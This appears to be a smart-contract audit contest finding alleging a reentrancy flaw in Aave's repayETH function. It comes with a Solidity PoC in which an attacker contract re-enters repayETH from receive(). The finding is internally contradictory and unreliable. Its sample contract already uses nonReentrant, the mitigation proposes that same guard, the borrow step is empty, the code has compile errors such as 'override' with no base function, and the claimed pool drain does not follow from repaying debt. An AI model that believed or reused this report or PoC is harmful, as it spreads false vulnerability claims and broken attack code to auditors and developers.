Skip to content

Latest commit

 

History

History
148 lines (110 loc) · 4.73 KB

001.md

File metadata and controls

148 lines (110 loc) · 4.73 KB

Shaggy Bone Hyena

Medium

Reentrancy Vulnerability in repayETH Function Allows Repeated Repayments

Summary

A reentrancy vulnerability in the repayETH function will lead to the protocol contract losing funds, as a malicious contract can repeatedly repay debt, due to the lack of reentrancy protection and state updates before external calls.

Root Cause

In repayETH function within the contract, the lack of a reentrancy lock combined with the external call to POOL.repay() before updating internal state allows for recursive calls and therefore multiple repayments to be triggered during the same transaction.

Internal Pre-conditions

1.A malicious contract needs to be deployed with the capability to call repayETH. 2.The attacker needs to borrow some WETH from the pool 3.The repayETH function has to receive a msg.value sufficient to cover the repayment amount.

External Pre-conditions

There are no specific external protocol changes needed to exploit this vulnerability, it is internal to the contracts code itself.

Attack Path

1.A malicious contract borrows WETH from the pool 2.The malicious contract calls repayETH, setting its own address as onBehalfOf and sending an appropriate msg.value. 3.The WETH.deposit call converts the sent ETH into WETH. 4.The POOL.repay() call triggers a callback to the malicious contract as its the address of onBehalfOf. 5.The malicious contract's callback re-enters repayETH, causing the repayment process to repeat before the initial call is complete.

Impact

The protocol will suffer a loss of funds as the attacker repeatedly repays the debt and drains the funds within the pool.

PoC

// SPDX-License-Identifier: GPL-3.0 pragma solidity >=0.8.0;

import "forge-std/Test.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol";

interface WETH { function deposit() external payable; function withdraw(uint256) external; } interface POOL { function repay(address asset, uint256 amount, uint256 rateMode, address onBehalfOf) external; function getReserveVariableDebtToken(address asset) external returns(address); } interface DataTypes { enum InterestRateMode { NONE, STABLE, VARIABLE } }

contract RepayContract is ReentrancyGuard { address public POOL; address public WETH;

constructor(address _pool, address _weth){
  POOL = _pool;
  WETH = _weth;
}

function repayETH(address asset, uint256 amount, address onBehalfOf) external payable override nonReentrant{
  uint256 paybackAmount = IERC20(POOL.getReserveVariableDebtToken(address(WETH))).balanceOf(
    onBehalfOf
  );

  if (amount < paybackAmount) {
    paybackAmount = amount;
  }
  require(msg.value >= paybackAmount, 'msg.value is less than repayment amount');
    WETH(WETH).deposit{value: paybackAmount}();
    POOL(POOL).repay(
      address(WETH),
      paybackAmount,
      uint256(DataTypes.InterestRateMode.VARIABLE),
      onBehalfOf
    );

  // refund remaining dust eth
  if (msg.value > paybackAmount) payable(msg.sender).transfer(msg.value - paybackAmount);
}

}

contract MaliciousContract { RepayContract public repayContract; WETH public WETH; POOL public POOL;

constructor(address _repayContract, address _weth, address _pool){ repayContract = RepayContract(_repayContract); WETH = WETH(_weth); POOL = POOL(_pool); }

function attack(uint256 _amount) external payable { // First borrow some WETH

// Second call repay, this triggers the reentrancy
repayContract.repayETH{value: _amount}(address(WETH), _amount, address(this));

}

receive() external payable { //reenter repayContract.repayETH{value: msg.value}(address(WETH), msg.value, address(this)); } }

contract ExploitTest is Test {

RepayContract repayContract;
MaliciousContract maliciousContract;
address public WETH = address(0x123); //Mock WETH;
address public POOL = address(0x321); //Mock pool;

function setUp() public {
     repayContract = new RepayContract(POOL,WETH);
    maliciousContract = new MaliciousContract(address(repayContract), WETH, POOL);
}

 function testReentrancyAttack() public {
     //set up mock to have a 100 WETH balance
    
    //attacker has 100 eth
     vm.deal(address(maliciousContract), 100 ether);

     //Attack
     maliciousContract.attack{value: 1 ether}(1 ether);
 }

}

Code Snippet

https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/helpers/WrappedTokenGatewayV3.sol#L85

Tool used

Manual Review

Mitigation

Implement a reentrancy lock using OpenZeppelin's ReentrancyGuard to prevent re-entrant calls.